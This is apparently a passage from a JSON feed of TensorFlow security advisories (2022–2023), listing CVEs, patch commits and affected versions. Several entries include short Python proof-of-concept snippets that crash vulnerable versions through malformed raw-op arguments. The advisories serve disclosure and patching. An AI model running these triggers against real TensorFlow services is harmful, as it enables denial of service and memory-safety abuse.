\n### Patches           \nWe have patched the issue in GitHub commit [1361fb7e29449629e1df94d44e0427ebec8c83c7](https://github.com/tensorflow/tensorflow/commit/1361fb7e29449629e1df94d44e0427ebec8c83c7).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-02-07T22:01:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-627q-g293-49q7","https://github.com/tensorflow/tensorflow/commit/1361fb7e29449629e1df94d44e0427ebec8c83c7","https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/framework/shape_inference.cc#L788-L790","https://nvd.nist.gov/vuln/detail/CVE-2022-23580","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-89.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-144.yaml","https://github.com/advisories/GHSA-627q-g293-49q7"],"source_kind":"github","identifiers":["GHSA-627q-g293-49q7","CVE-2022-23580"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:35.974Z","updated_at":"2024-11-07T22:28:14.000Z","epss_percentage":0.00301,"epss_percentile":0.52964},{"uuid":"GSA_kwCzR0hTQS13Y3Y1LXZydnItM3J4Ms0ojA","url":"https://github.com/advisories/GHSA-wcv5-vrvr-3rx2","title":"Integer Overflow or Wraparound in TensorFlow","description":"### Impact\nThe Grappler component of TensorFlow is vulnerable to a denial of service via `CHECK`-failure (assertion failure) in [constant folding](https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/grappler/optimizers/constant_folding.cc#L963-L1035):\n\n```cc\n  for (const auto\u0026 output_prop : output_props) {\n    const PartialTensorShape output_shape(output_prop.shape());\n    // ...\n  }\n```\n  \nThe `output_prop` tensor has a shape that is controlled by user input and this can result in triggering one of the `CHECK`s in the `PartialTensorShape` constructor. This is an instance of [TFSA-2021-198](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-198.md) (CVE-2021-41197).\n\n### Patches\nWe have patched the issue in GitHub commit [be7b286d40bc68cb0b56f702186cc4837d508058](https://github.com/tensorflow/tensorflow/commit/be7b286d40bc68cb0b56f702186cc4837d508058).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-02-09T23:34:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-prcg-wp5q-rv7p","https://github.com/tensorflow/tensorflow/security/advisories/GHSA-wcv5-vrvr-3rx2","https://github.com/tensorflow/tensorflow/commit/be7b286d40bc68cb0b56f702186cc4837d508058","https://github.com/advisories/GHSA-wcv5-vrvr-3rx2"],"source_kind":"github","identifiers":["GHSA-wcv5-vrvr-3rx2"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:36.795Z","updated_at":"2023-01-11T05:04:26.000Z","epss_percentage":null,"epss_percentile":null},{"uuid":"GSA_kwCzR0hTQS00M3E4LTNmdjctcHI1eM0oiw","url":"https://github.com/advisories/GHSA-43q8-3fv7-pr5x","title":"Improper Validation of Integrity Check Value in TensorFlow","description":"### Impact\nThe implementation of [`tf.sparse.split`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/sparse_split_op.cc#L26-L102) does not fully validate the input arguments. Hence, a malicious user can trigger a denial of service via a segfault or a heap OOB read:\n\n```python\nimport tensorflow as tf\ndata = tf.random.uniform([1, 32, 32], dtype=tf.float32)\naxis = [1, 2]\nx = tf.sparse.from_dense(data)\nresult = tf.sparse.split(x,3, axis=axis)\n```\nThe code assumes `axis` is a scalar. This is another instance of [TFSA-2021-190](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-190.md) (CVE-2021-41206).\n\n### Patches\nWe have patched the issue in GitHub commit [61bf91e768173b001d56923600b40d9a95a04ad5](https://github.com/tensorflow/tensorflow/commit/61bf91e768173b001d56923600b40d9a95a04ad5) (merging [#53695](https://github.com/tensorflow/tensorflow/pull/53695)).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/53660).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-09T23:37:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-43q8-3fv7-pr5x","https://github.com/tensorflow/tensorflow/security/advisories/GHSA-pgcq-h79j-2f69","https://github.com/tensorflow/tensorflow/pull/53695","https://github.com/tensorflow/tensorflow/commit/61bf91e768173b001d56923600b40d9a95a04ad5","https://github.com/advisories/GHSA-43q8-3fv7-pr5x"],"source_kind":"github","identifiers":["GHSA-43q8-3fv7-pr5x"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:36.804Z","updated_at":"2023-01-11T05:04:25.000Z","epss_percentage":null,"epss_percentile":null},{"uuid":"GSA_kwCzR0hTQS02Z212LXBqcDktcDh3OM0obg","url":"https://github.com/advisories/GHSA-6gmv-pjp9-p8w8","title":"Out of bounds read in Tensorflow","description":"### Impact \nThe [implementation of shape inference for `ReverseSequence`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/ops/array_ops.cc#L1636-L1671) does not fully validate the value of `batch_dim` and can result in a heap OOB read:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  y = tf.raw_ops.ReverseSequence(\n    input = ['aaa','bbb'],\n    seq_lengths = [1,1,1],\n    seq_dim = -10,\n    batch_dim = -10 )\n  return y\n    \ntest()\n```\n\nThere is a check to make sure the value of `batch_dim` does not go over the rank of the input, but there is no check for negative values:\n\n```cc\n  const int32_t input_rank = c-\u003eRank(input);\n  if (batch_dim \u003e= input_rank) {\n    return errors::InvalidArgument( \n        \"batch_dim must be \u003c input rank: \", batch_dim, \" vs. \", input_rank);\n  }\n  // ...\n  \n  DimensionHandle batch_dim_dim = c-\u003eDim(input, batch_dim);\n``` \n    \nNegative dimensions are allowed in some cases to mimic Python's negative indexing (i.e., indexing from the end of the array), however if the value is too negative then [the implementation of `Dim`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/framework/shape_inference.h#L415-L428) would access elements before the start of an array:\n\n```cc\n  DimensionHandle Dim(ShapeHandle s, int64_t idx) {\n    if (!s.Handle() || s-\u003erank_ == kUnknownRank) {\n      return UnknownDim();\n    }\n    return DimKnownRank(s, idx);\n  } \n·\n  static DimensionHandle DimKnownRank(ShapeHandle s, int64_t idx) {\n    CHECK_NE(s-\u003erank_, kUnknownRank);\n    if (idx \u003c 0) {\n      return s-\u003edims_[s-\u003edims_.size() + idx];\n    }\n    return s-\u003edims_[idx];\n  }\n```\n\n### Patches\nWe have patched the issue in GitHub commit [37c01fb5e25c3d80213060460196406c43d31995](https://github.com/tensorflow/tensorflow/commit/37c01fb5e25c3d80213060460196406c43d31995).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-09T18:29:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6gmv-pjp9-p8w8","https://github.com/tensorflow/tensorflow/commit/37c01fb5e25c3d80213060460196406c43d31995","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/framework/shape_inference.h#L415-L428","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/ops/array_ops.cc#L1636-L1671","https://nvd.nist.gov/vuln/detail/CVE-2022-21728","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-52.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-107.yaml","https://github.com/advisories/GHSA-6gmv-pjp9-p8w8"],"source_kind":"github","identifiers":["GHSA-6gmv-pjp9-p8w8","CVE-2022-21728"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":35.04809856489007,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:37.170Z","updated_at":"2024-11-13T22:10:34.000Z","epss_percentage":0.01124,"epss_percentile":0.77357},{"uuid":"GSA_kwCzR0hTQS04N3Y2LWNyZ20tMmdmas0odQ","url":"https://github.com/advisories/GHSA-87v6-crgm-2gfj","title":"Division by zero in Tensorflow","description":"### Impact \nThe [implementation of `FractionalMaxPool`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_max_pool_op.cc#L36-L192) can be made to crash a TensorFlow process via a division by 0:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\ntf.raw_ops.FractionalMaxPool(\n  value=tf.constant(value=[[[[1, 4, 2, 3]]]], dtype=tf.int64),\n  pooling_ratio=[1.0, 1.44, 1.73, 1.0],\n  pseudo_random=False,\n  overlapping=False,\n  deterministic=False,\n  seed=0,\n  seed2=0,\n  name=None)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ba4e8ac4dc2991e350d5cc407f8598c8d4ee70fb](https://github.com/tensorflow/tensorflow/commit/ba4e8ac4dc2991e350d5cc407f8598c8d4ee70fb).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Faysal Hossain Shezan from University of Virginia.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-10T00:21:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-87v6-crgm-2gfj","https://github.com/tensorflow/tensorflow/commit/ba4e8ac4dc2991e350d5cc407f8598c8d4ee70fb","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_max_pool_op.cc#L36-L192","https://nvd.nist.gov/vuln/detail/CVE-2022-21735","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-59.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-114.yaml","https://github.com/advisories/GHSA-87v6-crgm-2gfj"],"source_kind":"github","identifiers":["GHSA-87v6-crgm-2gfj","CVE-2022-21735"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.56131941815548,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:37.095Z","updated_at":"2024-11-13T22:13:23.000Z","epss_percentage":0.0022,"epss_percentile":0.44697},{"uuid":"GSA_kwCzR0hTQS05M3ZyLTlxOW0tcGo4cM4AAyUE","url":"https://github.com/advisories/GHSA-93vr-9q9m-pj8p","title":"TensorFlow vulnerable to Out-of-Bounds Read in DynamicStitch","description":"### Impact\nIf the parameter `indices` for `DynamicStitch` does not match the shape of the parameter `data`, it can trigger an stack OOB read.\n\n```python\nimport tensorflow as tf\nfunc = tf.raw_ops.DynamicStitch\npara={'indices': [[0xdeadbeef], [405], [519], [758], [1015]], 'data': [[110.27793884277344], [120.29475402832031], [157.2418212890625], [157.2626953125], [188.45382690429688]]}\ny = func(**para)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ee004b18b976eeb5a758020af8880236cd707d05](https://github.com/tensorflow/tensorflow/commit/ee004b18b976eeb5a758020af8880236cd707d05).\n\nThe fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis has been reported via Google OSS VRP.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-24T21:58:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-93vr-9q9m-pj8p","https://github.com/tensorflow/tensorflow/commit/ee004b18b976eeb5a758020af8880236cd707d05","https://nvd.nist.gov/vuln/detail/CVE-2023-25659","https://github.com/advisories/GHSA-93vr-9q9m-pj8p"],"source_kind":"github","identifiers":["GHSA-93vr-9q9m-pj8p","CVE-2023-25659"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.152Z","updated_at":"2023-03-27T21:26:46.000Z","epss_percentage":0.00133,"epss_percentile":0.34132},{"uuid":"GSA_kwCzR0hTQS02NGpnLXdqd3ctN2M1d84AAyUB","url":"https://github.com/advisories/GHSA-64jg-wjww-7c5w","title":"TensorFlow has Null Pointer Error in TensorArrayConcatV2","description":"### Impact\nWhen ctx-\u003estep_containter() is a null ptr, the Lookup function will be executed with a null pointer.\n```python\nimport tensorflow as tf\ntf.raw_ops.TensorArrayConcatV2(handle=['a', 'b'], flow_in = 0.1, dtype=tf.int32, element_shape_except0=1)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [239139d2ae6a81ae9ba499ad78b56d9b2931538a](https://github.com/tensorflow/tensorflow/commit/239139d2ae6a81ae9ba499ad78b56d9b2931538a).\n\nThe fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Yu Tian","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-24T21:58:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-64jg-wjww-7c5w","https://github.com/tensorflow/tensorflow/commit/239139d2ae6a81ae9ba499ad78b56d9b2931538a","https://nvd.nist.gov/vuln/detail/CVE-2023-25663","https://github.com/advisories/GHSA-64jg-wjww-7c5w"],"source_kind":"github","identifiers":["GHSA-64jg-wjww-7c5w","CVE-2023-25663"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.183Z","updated_at":"2023-03-27T21:58:57.000Z","epss_percentage":0.00134,"epss_percentile":0.34371},{"uuid":"GSA_kwCzR0hTQS01NThoLW1xOHgtN3E5Z84AAyT_","url":"https://github.com/advisories/GHSA-558h-mq8x-7q9g","title":"TensorFlow has Null Pointer Error in SparseSparseMaximum","description":"### Impact\nWhen `SparseSparseMaximum` is given invalid sparse tensors as inputs, it can give an NPE. \n\n```python\nimport tensorflow as tf\ntf.raw_ops.SparseSparseMaximum(\n a_indices=[[1]],\n a_values =[ 0.1 ],\n a_shape = [2],\n b_indices=[[]],\n b_values =[2 ],\n b_shape = [2],\n)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [5e0ecfb42f5f65629fd7a4edd6c4afe7ff0feb04](https://github.com/tensorflow/tensorflow/commit/5e0ecfb42f5f65629fd7a4edd6c4afe7ff0feb04).\n\nThe fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-24T21:57:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-558h-mq8x-7q9g","https://github.com/tensorflow/tensorflow/commit/5e0ecfb42f5f65629fd7a4edd6c4afe7ff0feb04","https://nvd.nist.gov/vuln/detail/CVE-2023-25665","https://github.com/advisories/GHSA-558h-mq8x-7q9g"],"source_kind":"github","identifiers":["GHSA-558h-mq8x-7q9g","CVE-2023-25665"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.203Z","updated_at":"2023-03-27T22:00:49.000Z","epss_percentage":0.0006,"epss_percentile":0.19061},{"uuid":"GSA_kwCzR0hTQS1ndzk3LWZmN2MtOXY5Ns4AAyT8","url":"https://github.com/advisories/GHSA-gw97-ff7c-9v96","title":"TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation","description":"### Impact\nAttackers using Tensorflow can exploit the vulnerability. They can access heap memory which is not in the control of user, leading to a crash or RCE.\nWhen axis is larger than the dim of input, c-\u003eDim(input,axis) goes out of bound.\nSame problem occurs in the QuantizeAndDequantizeV2/V3/V4/V4Grad operations too.\n```python\nimport tensorflow as tf\n@tf.function\ndef test():\n    tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],\n    \t\t\t\t\t\t\t\t   input_min=[1.0],\n    \t\t\t\t\t\t\t\t   input_max=[10.0],\n    \t\t\t\t\t\t\t\t   signed_input=True,\n    \t\t\t\t\t\t\t\t   num_bits=1,\n    \t\t\t\t\t\t\t\t   range_given=True,\n    \t\t\t\t\t\t\t\t   round_mode='HALF_TO_EVEN',\n    \t\t\t\t\t\t\t\t   narrow_range=True,\n    \t\t\t\t\t\t\t\t   axis=0x7fffffff)\ntest()\n```\n\n\n\n### Patches\nWe have patched the issue in GitHub commit [7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb](https://github.com/tensorflow/tensorflow/commit/7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb).\n\nThe fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-03-24T21:57:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-gw97-ff7c-9v96","https://github.com/tensorflow/tensorflow/commit/7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb","https://nvd.nist.gov/vuln/detail/CVE-2023-25668","https://github.com/advisories/GHSA-gw97-ff7c-9v96"],"source_kind":"github","identifiers":["GHSA-gw97-ff7c-9v96","CVE-2023-25668"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.232Z","updated_at":"2023-03-27T22:03:47.000Z","epss_percentage":0.01298,"epss_percentile":0.7875},{"uuid":"GSA_kwCzR0hTQS1yY2Y4LWc4anYtdmc2cM4AAyT7","url":"https://github.com/advisories/GHSA-rcf8-g8jv-vg6p","title":"TensorFlow has Floating Point Exception in AvgPoolGrad with XLA","description":"### Impact\nIf the stride and window size are not positive for `tf.raw_ops.AvgPoolGrad`, it can give an FPE.\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\n@tf.function(jit_compile=True)\ndef test():\n   y = tf.raw_ops.AvgPoolGrad(orig_input_shape=[1,0,0,0], grad=[[[[0.39117979]]]], ksize=[1,0,0,0], strides=[1,0,0,0], padding=\"SAME\", data_format=\"NCHW\")\n   return y\n\nprint(test())\n```\n\n### Patches\nWe have patched the issue in GitHub commit [1295ae4dbb52fe06b19733b0257e2340d7b63b8d](https://github.com/tensorflow/tensorflow/commit/1295ae4dbb52fe06b19733b0257e2340d7b63b8d).\n\nThe fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by r3pwnx of 360 AIVul Team\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-24T21:56:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rcf8-g8jv-vg6p","https://github.com/tensorflow/tensorflow/commit/1295ae4dbb52fe06b19733b0257e2340d7b63b8d","https://nvd.nist.gov/vuln/detail/CVE-2023-25669","https://github.com/advisories/GHSA-rcf8-g8jv-vg6p"],"source_kind":"github","identifiers":["GHSA-rcf8-g8jv-vg6p","CVE-2023-25669"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 